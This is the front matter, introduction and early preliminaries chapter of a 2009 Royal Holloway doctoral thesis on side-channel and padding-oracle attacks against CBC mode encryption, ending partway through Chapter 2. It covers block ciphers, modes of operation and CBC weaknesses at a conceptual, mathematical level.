Side Channel Analyses of CBC Mode Encryption

Arnold K. L. Yau

Thesis submitted to the University of London
for the degree of Doctor of Philosophy

Information Security Group
Department of Mathematics
Royal Holloway, University of London
2009
Declaration

These doctoral studies were conducted under the supervision of Professor Kenneth G. Paterson and Professor Chris J. Mitchell.

The work presented in this thesis is the result of original research carried out by myself, in collaboration with others, whilst enrolled in the Department of Mathematics as a candidate for the degree of Doctor of Philosophy. This work has not been submitted for any other degree or award in any other university or educational establishment.

Arnold K. L. Yau
Acknowledgements

It was my great fortune to have met my supervisor Kenny Paterson during my undergraduate studies, who introduced to me the fascinating world of cryptography and security, and who subsequently encouraged me to pursue a doctorate in the subject. Over the course of my studies, his guidance, patience and encouragement have been invaluable and indeed indispensable. His uncompromising pursuit of conducting quality and thorough research has not only helped me to develop as a researcher, but has also taken the result of our research much further than I had anticipated. His depth and breath of knowledge in information security has been inspirational and influential for my career development. I wish to express my deepest gratitude to Kenny.

I am also grateful to my academic advisor Chris Mitchell whose knowledge and experience in international standards have given me a level of access to the standardisation process that would otherwise have been unavailable. Credits are also due to him for providing the concept for an attack that has become a published paper and the basis of one of the thesis chapters.

Special thanks to Nessim Kisserli for his help with the laboratory set-up. I wish him success in all his future endeavours.

Thanks also to the UK’s Engineering and Physical Sciences Research Council (EPSRC) and Hewlett-Packard Laboratories for their financial support, which smoothed the way to fulfilling my commitment to the requisite academic studies for a doctorate.


Finally, I must thank my parents who provided me with the ability, opportunity and freedom to pursue my interests.
Abstract

A block cipher encrypts data one block at a time. For bulk data encryption, a block cipher is usually used in a mode of operation. Cipher Block Chaining (CBC) mode encryption is one of the most commonly used modes of operation.

The security properties of CBC mode encryption have been studied extensively. One well-known attack against CBC mode encryption allows an attacker, with some restrictions, to flip arbitrary bits in the plaintext. In this thesis we present attacks using the bit flipping technique, in the presence of a side channel, to recover plaintext with varying degrees of efficiency. A side channel is a means by which confidential information about the plaintext is inadvertently leaked to an attacker, who then exploits the information to further his attacks. Error reporting is a common type of side channel in real cryptographic systems.

We first examine the use of CBC mode encryption with some padding methods specified by ISO standards, and analyse the security of those combinations in the presence of a padding oracle as a side channel. A padding oracle, first introduced in a paper by Vaudenay, is a type of error oracle that reveals padding correctness information to an attacker. We show that, in a relaxed attack model in which initialisation vectors (IVs) are public, we can exploit a padding oracle to efficiently extract plaintext bits. We then show that in a stricter attack model (secret and random IVs), the padding schemes are still vulnerable to padding oracle attacks and therefore still weak.

Putting theory into practice, we go on to investigate the applicability of error oracle attacks to IPsec, a suite of protocols commonly used to implement Virtual Private Networks (VPNs) to secure the exchange of IP datagrams at the network layer. When IPsec is configured not to use integrity protection, a usage mode supported by IPsec standards, we show that a variety of efficient attacks are available for an attacker to recover plaintext datagrams, sometimes highly efficiently. By carefully manipulating encrypted IP datagrams, the attacker triggers the generation of Internet Control Message Protocol (ICMP) messages which he then intercepts. The ICMP messages, providing an error reporting side channel, contain plaintext information which can then be used to reconstruct plaintext datagrams in full.

Finally, we present our view on the future of CBC mode encryption in the light of our attacks, and conclude with reflections on our experience of cryptography in theory and practice.
## Contents

### 1 Introduction
- 1.1 Motivation and Contributions ................................................. 14
- 1.2 Thesis Structure ................................................................. 14
- 1.3 Publications ........................................................................... 15

### 2 Preliminaries
- 2.1 Introduction .............................................................................. 16
- 2.2 A High-Level Classification of Encryption Algorithms .............. 16
  - 2.2.1 Symmetric and Asymmetric Key Encryption Algorithms ....... 16
  - 2.2.2 Block Ciphers ................................................................. 17
  - 2.2.3 Stream Ciphers ............................................................... 17
  - 2.2.4 Distinction between Block Ciphers and Stream Ciphers ...... 18
- 2.3 Modes of Operation ............................................................... 19
  - 2.3.1 ECB Mode ........................................................................ 19
  - 2.3.2 CBC Mode ....................................................................... 20
  - 2.3.3 Other modes ..................................................................... 22
- 2.4 Integrity Protection and Authentication .................................. 23
  - 2.4.1 Hash Functions ............................................................... 24
  - 2.4.2 Message Authentication Codes ....................................... 24
- 2.5 Attacks ................................................................................... 25
- 2.6 Combined Modes of Operation .............................................. 26
- 2.7 Side channel Attacks ............................................................. 27
  - 2.7.1 Error Messages ................................................................ 28
  - 2.7.2 Timing ............................................................................. 31
  - 2.7.3 Power Analysis ................................................................. 33
  - 2.7.4 Electromagnetic Emanation Analysis ............................... 34
  - 2.7.5 Further Research ............................................................. 36
- 2.8 Chapter Summary .................................................................. 37

### 3 Padding Oracle Attacks on Proposed ISO/IEC 10116-1
- 3.1 Introduction ............................................................................. 38
  - 3.1.1 Padding Oracle Attacks ................................................... 38
  - 3.1.2 ISO standards on Modes of Operation .............................. 39
  - 3.1.3 Overview of Attacks ......................................................... 39
3.2 Attacking the Padding Methods of ISO/IEC 9797-1 .......................... 40
  3.2.1 The standard .................................................. 40
  3.2.2 Padding Method 1 ............................................. 40
  3.2.3 Padding Method 2 ............................................. 41
  3.2.4 Padding method 3 ............................................. 41
3.3 Attacking the Padding Methods of ISO/IEC 10118-1 ......................... 47
  3.3.1 The standard .................................................. 47
  3.3.2 Padding method 3 ............................................. 47
3.4 Recommendations .................................................. 55
3.5 Chapter Summary .................................................. 56

4 Further Attacks on Proposed ISO/IEC 10116 .................................... 57
  4.1 Introduction ...................................................... 57
  4.2 Overview .......................................................... 57
    4.2.1 Attack Models ................................................. 58
  4.3 Analysis of Padding Method 3 of ISO/IEC 9797-1 ............................ 59
    4.3.1 Review of Padding Method and Previous Attack ...................... 59
    4.3.2 An Attack with Secret and Random IVs ............................ 60
    4.3.3 Complexity and Impact ........................................ 62
    4.3.4 Limitations .................................................... 63
    4.3.5 Comparison .................................................... 63
  4.4 Analysis of Padding Method 3 of ISO/IEC 10118-1 ............................ 64
    4.4.1 Review of Padding Method and Previous Attacks ...................... 64
    4.4.2 Attacking an Arbitrary Ciphertext Block .......................... 65
    4.4.3 Attacking the Last Block(s) ................................... 69
  4.5 Dealing with Multiple IVs .......................................... 75
  4.6 The Published ISO/IEC 10116:2006 Standard ................................ 77
    4.6.1 Our Assessment of the Draft Standard ................................ 77
    4.6.2 The Published Standard ....................................... 77
  4.7 Chapter Summary .................................................. 78
  4.8 Conclusions ....................................................... 78

5 Attacks in Theory and Practice: IPsec ........................................... 80
  5.1 Introduction ...................................................... 80
  5.2 Internet Protocol .................................................. 80
    5.2.1 IP Datagram Header ........................................... 81
    5.2.2 ICMP .......................................................... 83
  5.3 IP Security ........................................................ 84
    5.3.1 IPsec Architecture ............................................. 86
    5.3.2 ESP ............................................................ 88
    5.3.3 Evolution of ESP .............................................. 91
    5.3.4 AH .............................................................. 93
## CONTENTS

5.3.5 Internet Key Exchange Protocols: IKE and IKEv2 .......................... 94
5.3.6 Other IPsec Features ......................................................... 96
5.3.7 Common Configurations ..................................................... 98
5.3.8 IPsec Implementations ....................................................... 99
5.3.9 Critique and Attacks on IPsec .............................................. 99

5.4 Padding Oracle Attacks on IPsec .............................................. 100
5.4.1 Attack Sketch ............................................................... 100
5.4.2 The ESP Trailer Format ..................................................... 101
5.4.3 Padding Oracles in IPsec? ................................................ 103

5.5 Chapter Summary .............................................................. 105

6 Attacks on IPsec .............................................................................. 106
6.1 Chapter Overview ................................................................. 106
6.1.1 Preview of Attacks ........................................................ 106
6.2 Overview of Attacks ............................................................ 107
6.2.1 Assumptions ................................................................. 107
6.2.2 ICMP and Side Channel Attacks on IPsec ...................... 108

6.3 Attacks Based on Destination Address Rewriting ....................... 108
6.3.1 64-bit Attack: The First Phase ........................................... 108
6.3.2 64-bit Attack: The Second Phase — Recovering Further Plaintext 110
6.3.3 Relaxing the Address Assumption ...................................... 112
6.3.4 128-Bit Attack: The First Phase ....................................... 113
6.3.5 128-Bit Attack: The Second Phase .................................... 115

6.4 Attacks Based on IP Options Processing ..................................... 115
6.4.1 64-bit Attack: The First Phase ........................................... 116
6.4.2 64-bit Attack: The Second Phase ....................................... 118
6.4.3 The 128-Bit Attack: The First Phase .................................. 119
6.4.4 The 128-Bit Attack: The Second Phase ............................ 120

6.5 Attacks Based on Protocol Field Manipulation ......................... 122
6.5.1 The 128-Bit Attack: The First Phase .................................. 122
6.5.2 The 128-Bit Attack: The Second Phase ................................ 129
6.5.3 The 64-Bit Attack: The First Phase .................................... 129
6.5.4 The 64-Bit Attack: The Second Phase ................................ 130

6.6 Implementation of the Attacks ................................................ 131
6.6.1 Experimental Setup ......................................................... 131
6.6.2 Destination Address Rewriting Attack ............................... 132
6.6.3 Options Processing Attack ................................................ 133
6.6.4 Protocol Field Attack ....................................................... 136
6.6.5 Summary of Attacks ....................................................... 137

6.7 Impact .................................................................................. 138
6.7.1 Practical Impact ............................................................. 138
6.7.2 Our Attacks in the Context of ESP Evolution .................... 140
List of Figures

3.1 ISO/IEC 9797-1 padding method 3 .................................................. 41
3.2 Attack phase 1 — obtaining $L_D$ ..................................................... 43
3.3 Attack phase 2 — decrypting .............................................................. 46
3.4 ISO/IEC 10118-1 padding method 3 ..................................................... 48
3.5 Directed IV search .......................................................... 49

5.1 Structure of IP header according to RFC 791 ........................................ 81
5.2 Structure of ICMP Parameter Problem Message according to RFC 792 ... 84
5.3 ESP header and trailer from RFC 2406 [111] ........................................ 88
5.4 ESP packet structure from RFC 2406 [111] ........................................... 90
5.5 AH protocol header from RFC 2402 [110] ............................................ 94
5.6 AH packet structure from RFC 2402 [110] ........................................... 95

6.1 A typical site-to-site IPsec VPN deployment ........................................ 107
6.2 Modifications to inner header fields in destination address rewriting attack, 64-bit case ................................................................. 110
6.3 Reusing a successful header from the first phase .................................... 112
6.4 Modifications to inner header fields in options processing attack, 64-bit case 117
6.5 Modifications to inner header fields in protocol field attack, 128-bit case ... 127
6.6 Experimental setup .................................................................... 131
6.7 Performance of 64-bit attack based on options processing ...................... 135
6.8 Cumulative success rate for 1000 experiments ..................................... 137
List of Tables

2.1 Modes of operation standards ............................................. 27
6.1 Table $T_0$ of masks and their probabilities for bit position 0. .......... 125
6.2 Combined success probabilities for pairs of checksum masks. ............. 126
6.3 Table $T'_0$ of masks and their probabilities for bit positions $i = 0, j = 0$. . . 126
6.4 Attacks summary ............................................................. 138
# List of Algorithms

<table>
<thead>
<tr>
<th></th>
<th>Algorithm Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Recovering $L_D$ from an ISO/IEC 9797-1 padded ciphertext</td>
<td>44</td>
</tr>
<tr>
<td>2</td>
<td>Recovering $L_D$ from an ISO/IEC 9797-1 padded ciphertext (special case)</td>
<td>45</td>
</tr>
<tr>
<td>3</td>
<td>Recovering $n - 1$ bits from an $n$-bit ISO/IEC 9797-1 padded ciphertext block</td>
<td>46</td>
</tr>
<tr>
<td>4</td>
<td>Recovering the leftmost bit from an $n$-bit ISO/IEC 9797-1 padded ciphertext block</td>
<td>47</td>
</tr>
<tr>
<td>5</td>
<td>Directed IV search against an ISO/IEC 10118-1 padded ciphertext</td>
<td>50</td>
</tr>
<tr>
<td>6</td>
<td>Directed IV search against an ISO/IEC 10118-1 padded ciphertext (special case)</td>
<td>51</td>
</tr>
<tr>
<td>7</td>
<td>Recovering $L_D$ from an ISO/IEC 10118-1 padded ciphertext</td>
<td>54</td>
</tr>
<tr>
<td>8</td>
<td>Decrypting an ISO/IEC 10118-1 same-block padded ciphertext</td>
<td>55</td>
</tr>
<tr>
<td>9</td>
<td>Extracting $L_D$ from an auxiliary ciphertext</td>
<td>60</td>
</tr>
<tr>
<td>10</td>
<td>Extracting $n - F_1$ bits from an ISO/IEC 9797-1 padded ciphertext block using auxiliary ciphertexts</td>
<td>61</td>
</tr>
<tr>
<td>11</td>
<td>Constructing a valid three-block, ISO/IEC 10118-1 padded ciphertext</td>
<td>66</td>
</tr>
<tr>
<td>12</td>
<td>Constructing a valid four-block, ISO/IEC 10118-1 padded ciphertext</td>
<td>67</td>
</tr>
<tr>
<td>13</td>
<td>Recovering $L_D$ from an ISO/IEC 10118-1 padded ciphertext</td>
<td>70</td>
</tr>
<tr>
<td>14</td>
<td>Recovering $L_D$ from a two-block, ISO/IEC 10118-1 padded ciphertext</td>
<td>71</td>
</tr>
<tr>
<td>15</td>
<td>Recovering remaining bits from a same-block, ISO/IEC 10118-1 padded ciphertext block</td>
<td>72</td>
</tr>
<tr>
<td>16</td>
<td>Pseudo-code for plaintext block recovery with a hypothetical “ESP padding oracle”</td>
<td>101</td>
</tr>
<tr>
<td>17</td>
<td>Modified “ESP padding oracle” attack</td>
<td>102</td>
</tr>
</tbody>
</table>
Listings

A.1  spice.h  .............................................................. 149
A.2  spice.c  .............................................................. 150
A.3  attacks.c ............................................................. 156
A.4  destattacks.c ......................................................... 165
A.5  protoattacks.c ....................................................... 168
Symbols and Notation

We gather here a symbols and notations that will be consistently used throughout this thesis. All other symbols or notations will be introduced at their first use.

- $C$ ciphertext output after CBC-mode encryption; target ciphertext the attacker is trying to decrypt.
- $C'$ ciphertext to be submitted to the padding oracle during an attack.
- $d_K(Y)$ decryption of ciphertext block $Y$ under key $K$.
- $D$ unpadded data string to be CBC-mode encrypted.
- $e_K(X)$ encryption of plaintext block $X$ under key $K$.
- $I_j$ the $j^{th}$ intermediate block during CBC-mode encryption: $I_1 = P_1 \oplus IV$ and $I_j = P_j \oplus C_{j-1}$ for $j > 1$.
- $I'_j$ the $j^{th}$ intermediate block during an attack: $I'_j = d_k(C'_j)$.
- $I$ information determining the IV in our first attack model.
- $IV$ the initialisation vector used in CBC-mode.
- $L_D$ the length (in bits) of the data string $D$.
- $n$ the block size (in bits) of the block cipher.
- $P$ the result of applying a given padding method to $D$.
- $P'$ data string computed by the padding oracle in the course of verifying padding.
- $q$: the number of blocks in data string $P$ after padding.
- VALID/INVALID padding oracle responses to, respectively, correct and incorrect padding after receipt and decryption of ciphertext.
- $X\|Y$ the result of concatenation of strings $X$ and $Y$.
- $X \oplus Y$ the result of exclusive-or (XOR) of strings $X$ and $Y$.
- $(X)_2$ the binary representation of the value $X$.
- $X_j$ the $j^{th}$ block of the plaintext or ciphertext $X$ ($1 \leq j \leq q$).
- $X_{j,k}$ the $k^{th}$ bit of the plaintext or ciphertext block $X_j$, $0 \leq k < n$. 

13
Chapter 1

Introduction

1.1 Motivation and Contributions

This thesis is concerned with the security of encryption using a block cipher in Cipher Block Chaining mode (CBC) to provide confidentiality for input plaintexts. As one of the most popular modes of operations in use, CBC mode encryption has already received extensive security analysis, and its security properties are well known. One might naturally ask why CBC mode encryption is still receiving treatment in the form of this thesis.

The answer is that while traditional analyses performed on CBC mode encryption are mathematically sound and are fundamental and indispensable pieces of work, there exists a gap between their analyses and the real-world security requirements of providing data confidentiality. In most theoretical security models, there is little consideration for complexities such as buggy software, low-entropy passwords and keystroke loggers. More recently, researchers have developed very sophisticated models that attempt to encapsulate all physically observable aspects of cryptographic implementations, yet their work tends to be theoretical in outlook. In this thesis, we take a step in bridging that gap between theoretical and practical security by taking a very pragmatic approach in analysing cryptographic systems, contrasting theoretical security with that experienced by an end-user.

In the security analyses to come, we focus on how the real-world phenomenon of side channels affect cryptographic systems. Side channel analysis techniques have been used historically in covert intelligence gathering. In the context of cryptography, a side channel inadvertently leaks information about the plaintext and can potentially be exploited further by an attacker. A side channel may exist on paper in the specification of a protocol, or a system may leak information by physical means. In this thesis we look at two specific examples of side channels, and based on them, we develop attacks on CBC mode encryption. The study of these attacks also highlights the relations between provable security, theoretical attacks and attacks in practice.

1.2 Thesis Structure

This thesis is organised as follows. In Chapter 2, we introduce block ciphers and how they are used to secure data in modes of operations, paying particular attention to CBC mode encryption, the role of the initialisation vector (IV) and padding in the CBC mode. We shall also cover other common modes of operation and stream ciphers to put CBC mode
1.3 Publications

in context. Then we move on to give an overview of general side channel attacks. We focus on the exploitation of error messages and of padding correctness as side channels. We describe how the padding oracle was used by Vaudenay [191] to perform attacks on CBC mode encryption to recover plaintext, and its relation to systems in the real world. We discuss how padding oracle attacks can be prevented by the use of integrity protection. Finally, we introduce the symbols and notations used throughout this thesis.

In Chapter 3, we present results extending Vaudenay’s work by developing padding oracle attacks on CBC mode encryption as specified by a draft ISO standard. We argue that in the presence of a padding oracle, some padding methods recommended by the draft standard completely undermine the confidentiality protection afforded by encryption in CBC mode.

In Chapter 4, we perform similar analyses to those in Chapter 3 on a later draft of the ISO standard. This draft standard recommended the use of secret and random IVs. We present our efforts in adapting earlier attacks to this new scenario, and analyse the extent to which the use of secret and random IV increases security in the context of the draft ISO standards.

Chapter 5 introduces IPsec, the target of the attacks in Chapter 6. We first give an overview of the Internet Protocol (IP), the workhorse protocol for all Internet traffic, and describe its components. We then introduce IPsec, its constituent protocols and their evolution. We go on to examine how IPsec is designed to protect IP traffic with discussions on IPsec’s support for integrity protection. We sketch a padding oracle attack on IPsec and analyse its feasibility.

We present our attacks on IPsec in Chapter 6. We begin by describing the IPsec configuration and attack model that we used, and then move on to present the actual attacks and their variants in detail. We analyse the efficiency and impact of our attacks and then report on the result of our implementation of the attacks in a laboratory setting, and the degree to which the experiments agree with our expectations. We discuss how our attacks can be prevented, and make observations on the process by which theoretical understanding of security often fails to be transferred into practice.

In Chapter 7, we conclude with a summary of our findings on the security of CBC mode encryption in the presence of a side channel, and discuss the degree to which the attacks we have developed are realisable and practicable. Based on our attacks, we make some recommendations for how theoreticians and practitioners could work in closer partnership to design and build secure systems.

1.3 Publications

This thesis contains published research materials with K.G. Paterson [162, 163, 164] and K.G. Paterson with C.J. Mitchell [200]. References [162, 200] and the extended version of [164] form the basis of Chapters 3, 4 and 6 respectively, while some ideas and observations developed in [163] are used in Chapters 6 and 7.
Preliminaries

2.1 Introduction

In this chapter we give an overview of the topics modern cryptography that are relevant to this thesis. In particular, we shall focus on symmetric key cryptography, block ciphers, modes of operation and integrity protection. We then introduce the concept of a branch of cryptanalysis known as side channel analysis and describe how it can be used to undermine the confidentiality provided by supposedly strong cryptography. At the end of this chapter, we shall also gather together all the symbols and notations that we use throughout this thesis.

2.2 A High-Level Classification of Encryption Algorithms

2.2.1 Symmetric and Asymmetric Key Encryption Algorithms

Confidentiality is one of the key goals of cryptography. An encryption algorithm transform data to be concealed, called the plaintext, into unintelligible, random-looking strings, known as ciphertext. Decryption is the inverse operation of the encryption, converting ciphertext back to the original plaintext.

Most modern encryption algorithms can be classified as either symmetric or asymmetric according to the manner in which encryption keys, a critical component of cryptography, are used by an algorithm. In symmetric key cryptography, the same key is used to encrypt and decrypt data; in asymmetric key cryptography, on the other hand, encryption and decryption typically use different, but related, keys. It is not the case that one class of cryptographic algorithm is “better” than the other by some measure. Rather, symmetric and asymmetric cryptography serve different purposes and, indeed, are very often used to complement each other in cryptographic protocols. It is also worth mentioning that the notion of key symmetry is also relevant for integrity protection and data origin authentication, two other goals of cryptography.

Symmetric key encryption algorithms can be further divided into block ciphers and stream ciphers. We describe the two families of algorithms below. We shall not further concern ourselves with topics in asymmetric key cryptography in this thesis, except where required.
2.2 A High-Level Classification of Encryption Algorithms

2.2.2 Block Ciphers

A block cipher, as the name suggests, operates on a block of data at a time. The encryption and decryption operations for a block cipher under key $K$ can be represented mathematically as $e_K(P) = C$ and $d_K(C) = P$, where $P$ and $C$ represent a block of plaintext and ciphertext respectively. An $n$-bit block cipher operates on an $n$-bit block and generates an output block of the same size; the output is not defined for inputs sizes that are different from $n$. One can therefore consider a block cipher as a key-dependent permutation function of the $n$-bit message space. The size of the block cipher key $K$, measured in bits, is related to the level of security provided by the algorithm. The size of key used by a block cipher is not necessarily related to its block size.

We outline here informally some properties that a block cipher must satisfy for it to be considered secure. The permutation on the message space induced by the encryption operation should be indistinguishable from a random permutation. When two different keys are used, there should be no observable relation in the ciphertexts. Decrypting a ciphertext block with a different key from the encrypting key should result in a block unrecognisable as the original plaintext block, and it should be computationally infeasible to obtain the decryption of a ciphertext block without the key. The length of the key used by a block cipher should be long enough to make exhaustive search for the correct key impractical. A formal definition and general background on block ciphers can be found in Section 7.2 of [140].

The Data Encryption Algorithm (DEA), commonly known as Data Encryption Standard (DES) algorithm, is of great historical and academic interest. DES is a 64-bit block cipher that uses 56-bit keys. It was first published in by the U.S. National Institute of Standards and Technology (NIST)\(^1\) in document FIPS 46. The latest edition FIPS 46-3 \(^2\) includes a specification for the Triple DES (TDEA) algorithm which effectively extends the key length to 112 or 168 bits. Accounts of the history, development, security and the controversy surrounding the DES standard can be found in Chapter 12 of [180] and [126].

Other commonly used block ciphers include the AES, IDEA, CAST, Blowfish, RC5 and a handful of others, although hundreds of ciphers have been proposed over the years. Block ciphers differ externally in block size, key length and implementation-dependent efficiency. Internally, block cipher designs fall into two main categories: Feistel ciphers \(^7\) and substitution-permutation networks; DES is an example of the former, while AES is of the latter design.

2.2.3 Stream Ciphers

Stream ciphers are the other major family of symmetric key encryption algorithms. Rather than operating on a large block of data, a stream cipher encrypts a smaller unit of data at a time, down to a single byte or an individual bit.

---
\(^1\)formerly National Bureau of Standards (NBS)
Encryption using a stream cipher is somewhat comparable to a One Time Pad: a key stream is XORed with the plaintext to produce the ciphertext. To recover the plaintext, the key stream is similarly XORed with the ciphertext. However, the crucial difference is that while the One Time Pad uses a real random key having the same size as the plaintext, a comparatively small key is used to “seed” a pseudo-random function to produce the long key stream used by a stream cipher.

Stream ciphers have either synchronous or self-synchronising designs. A synchronous stream cipher generates key streams independently of the plaintext and ciphertext. The receiver therefore has to be in synchronisation with the sender to decrypt correctly; bits inserted or removed would completely corrupt further decryption. A bit flipped in the ciphertext causes a corresponding bit flip in the plaintext, but does not affect any other plaintext bits, as generation of subsequent bits in the key stream is independent from the flipped bit.

In a self-synchronizing stream cipher, the keystream is computed as a function of a number of previous ciphertext bits as well as the key. The dependence of the key stream on the ciphertext means that the decryption operation will, after a transmission error (data corruption, insertion or removal of bits), eventually recover itself. Such stream ciphers are also less susceptible to active attacks in comparison to synchronous stream ciphers.

RC4\(^3\) is a widely used a stream cipher. It allows a variable length key, has a very simple design, and is therefore very fast. These are some of the reasons why RC4 is used in popular protocols including SSL/TLS [72], WEP and SSH. However, RC4 suffers from weaknesses in key scheduling, and a flaw in its use in WEP was discovered by Fluhrer et al. [81].

The algorithms known as A5/1 and A5/2 are the probably most widely used stream ciphers. The A5 family of algorithms are used to protect mobile communications in GSM networks worldwide and are embedded in, by rough estimate, over a billion handsets. However, the designs of A5/1 and A5/2 have been shown to be very weak. The latest attacks by Barkan et al. [40] can break A5/2 encrypted messages in a fraction of a second, given a small amount of keystream.

2.2.4 Distinction between Block Ciphers and Stream Ciphers

While symmetric encryption algorithms are traditionally classified as block ciphers or stream ciphers, their distinction is not always black and white. A block cipher, when used in certain modes of operation (discussed later in this chapter) becomes a component used in a stream cipher. Conversely, a stream cipher can be considered as a block cipher having a 1-bit block size. Nonetheless, the distinction between block ciphers and stream ciphers remains useful; purposely-designed block ciphers and stream ciphers usually have very different internal structures, and represent two different approaches to symmetric key

---

\(^3\)The name RC4 is a trademark of RSA Security, although the algorithm itself has become public through an anonymous post to the cypherpunks mailing list. Compatible implementations of RC4 sometimes carry the name ARCFOUR or ARC4 (Alleged RC4) to avoid trademark infringement.
2.3 Modes of Operation

A block cipher, as we have seen, encrypts data one block at a time. Many common block ciphers have block sizes of 64 and 128 bits, and for most practical applications, we need to encrypt data of sizes much greater than a single block. A mode of operation is a scheme in which a block cipher is adapted to handle data encryption and decryption in bulk.

The first modes of operation were defined by the NIST for use specifically with DES in the standard FIPS PUB 81 [151]: Electronic Codebook, Cipher Block Chaining, Output Feedback and Cipher Feedback modes. The construction of these modes actually contained no DES-specific elements, and therefore could easily be used with a generic block cipher. The four modes are incorporated into other standards (e.g. [101]) as modes of operation for a general $n$-bit block cipher.

Different modes of operation have different properties in terms of computational complexity and overheads, and levels of protection against malicious attacks and transmission errors. We present the four basic modes in FIPS PUB 81 below, as well as a few more recently proposed modes that are of relevance to this thesis.

2.3.1 ECB Mode

The Electronic Codebook (ECB) mode is the simplest mode of operation for a block cipher where plaintext blocks are simply encrypted individually. In ECB mode encryption, a plaintext $P$ is divided into $n$-bit blocks $P_1, P_2, \ldots, P_m$, where $n$ is the size of the block cipher, and ciphertext blocks are computed as

$$C_i = e_K(P_i)$$

where $1 \leq i \leq m$. Inversely, decryption of ciphertext blocks is given by

$$P_i = d_K(C_i).$$

If the length of data to be encrypted is not a multiple of the block size $n$, padding with additional bits is needed to complete the last block. We shall return to the topic of padding and its significance for security in later chapters.

While ECB mode is very simple to implement, has low overheads and can be parallelised, it is not in common use due to its serious shortcomings in security, no matter how strong the underlying block cipher is. Since the encryption of two identical plaintext blocks will always generate the same corresponding ciphertext blocks, ECB mode encryption does not hide the statistical properties of the plaintext very well. The statistical information can be exploited by an attacker to infer information about the structure of the plaintext, which is undesirable in itself, or may even lead to full plaintext recovery.
2.3 Modes of Operation

2.3.2 CBC Mode

The Cipher Block Chaining (CBC) mode is central to this thesis, we therefore give it a more extensive treatment. CBC mode encryption addresses the security shortcomings of ECB mode encryption without incurring excessive complexity in design, and is one of the most widely used modes for bulk encryption. In CBC mode encryption, a plaintext is similarly divided into blocks as ECB mode. Then each block $P_i$ is XORed with the previous ciphertext block $C_{i-1}$ before being input to the block cipher to produce the corresponding ciphertext block. Thus encryption and decryption are given by

$$C_i = e_K(P_i \oplus C_{i-1}) \quad \text{and} \quad P_i = d_K(C_i) \oplus C_{i-1}$$

respectively, for $1 \leq i \leq m$. This formulation requires the definition of the block $C_0$ which is known as the Initialisation Vector (IV) or sometimes Starting Variable (SV). We shall come back to IVs shortly.

Like ECB mode, the length of input into CBC mode has to be a multiple of the block cipher size. Padding bits have to be applied to input data that does not satisfy this requirement before the data can be divided into blocks and encrypted.

2.3.2.1 Security

The major advantage of CBC mode over ECB mode lies in its ability to hide statistical properties of the plaintext blocks. As a consequence of CBC mode’s chaining structure, each ciphertext block $C_i$ depends on all plaintext bits from $P_1$ to $P_i$ and the IV (or $C_0$). Encryption of two identical plaintexts using the same key and IV produces identical ciphertexts. This is undesirable especially in applications where the data to be protected is chosen from a small set of predefined messages. Fortunately this risk can be easily mitigated by choosing unique IVs for each encryption, which ensures different ciphertexts are always produced even when encrypting the same plaintext with the same key.

The IV is used at the beginning of an encryption process and is needed by the decrypting party to recover the first plaintext block. Using two different IVs, $IV$ and $IV'$, say, encrypting a plaintext $P$ produces two completely unrelated, random looking ciphertexts $C$ and $C'$. This is due to the difference in input ($IV \oplus P_1$ versus $IV' \oplus P_1$) into the encryption function that produces two unpredictably different ciphertext blocks $C_1$ and $C'_1$. This causes the input into the next encryption, i.e. $C_1 \oplus P_2$ versus $C'_1 \oplus P_2$, to differ randomly, and produces two randomised blocks $C_2$ and $C'_2$. A similar argument applies to the next block and so on, and the random differences propagate along the chaining structure all the way to blocks $C_m$ and $C'_m$. This is a desirable property as an attacker cannot discern identical plaintexts with a ciphertext-only attack, as long as IVs are unique per encryption.
2.3 Modes of Operation

2.3.2.2 Selection and Transmission of IVs

We have seen that IVs need to be unique to ensure security. Bellare et al. in [42] performed a formal analysis of the security of CBC mode encryption. Using a pseudo-random permutation to model the encryption algorithm, the authors concluded that it is sufficient for the IV to be random to provide adequate security (in a formally defined way), provided the underlying block cipher was strong enough.

Further (though not part of [42]), the IV can be manipulated by an adversary to make predictable modifications to the first recovered plaintext block without detection (see Section 2.3.2.3 below). Using a secret IV (by encryption, indexing to a list, or synchronous-generation) is one way to prevent this attack.

2.3.2.3 Weaknesses

The CBC scheme is vulnerable to what is known as bit flipping attacks. Recall that to recover plaintext block $i$ we use $P_i = d_K(C_i) \oplus C_{i-1}$. If we XOR both sides with an $n$-bit mask $M$ we get $P_i \oplus M = d_K(C_i) \oplus C_{i-1} \oplus M$. The left hand side of the equation indicates the alteration of the plaintext block $P_i$ through bit flipping by the mask $M$: those bit positions in $M$ that are 1 flip corresponding bits in $P_i$ from a 1 to a 0 or vice versa. The associative property of the XOR operation means that an attacker who can effect bit flips in the ciphertext block $C_{i-1}$ can introduce predictable bit flips in the plaintext block $P_i$.

Modifying $C_{i-1}$, however, results in randomisation of the block $P_{i-1}$ which may signal to the decrypting party that an attack has taken place. The IV block $C_0$ is an exception: since it has no corresponding plaintext block, changes to this block affects only $P_1$, which may make it an ideal target for this attack. The extent to which this incidental change to plaintext blocks is undesirable (from an attacker’s point of view) will depend on the context, but in general applications will need stronger protection from ciphertext modification.

Somewhat less seriously, CBC mode encryption is also susceptible to what are known as birthday attacks. The pseudo-randomness of ciphertext blocks means that on average we expect a duplicate block after observing about $2^{n/2}$ ciphertext blocks, where $n$ is the block size. Ciphers with small block sizes are therefore more vulnerable to this attack. Suppose $C_i = C_j$ is observed. Then by definition

$$e_K(P_i \oplus C_{i-1}) = e_K(P_j \oplus C_{j-1}),$$

and so

$$P_i \oplus C_{i-1} = P_j \oplus C_{j-1},$$

hence

$$P_i \oplus P_j = C_{i-1} \oplus C_{j-1}.$$}

\footnote{Referring to the birthday paradox where the expected number of people needed for a coinciding birthday to occur is 23, an unintuitively low number.}
2.3 Modes of Operation

Therefore by calculating $C_{i-1} \oplus C_{j-1}$ an attacker can learn the result of XORing plaintext blocks $P_i$ and $P_j$. This knowledge may greatly narrow down the possible settings of the two plaintext blocks. For example, this is possible when both plaintext blocks are known to have come from a restricted set of possibilities (e.g. ASCII text). This attack requires intercepting and storing $O(2^{n/2})$ blocks. For $n = 64$, this equates to 32 Terabytes of data which is within the realm of possibility to be practised by a resourceful attacker. Re-keying often will thwart this attack, and so will replacing the block cipher with one that has a larger block size, such as 128 bits.

2.3.2.4 Error Propagation

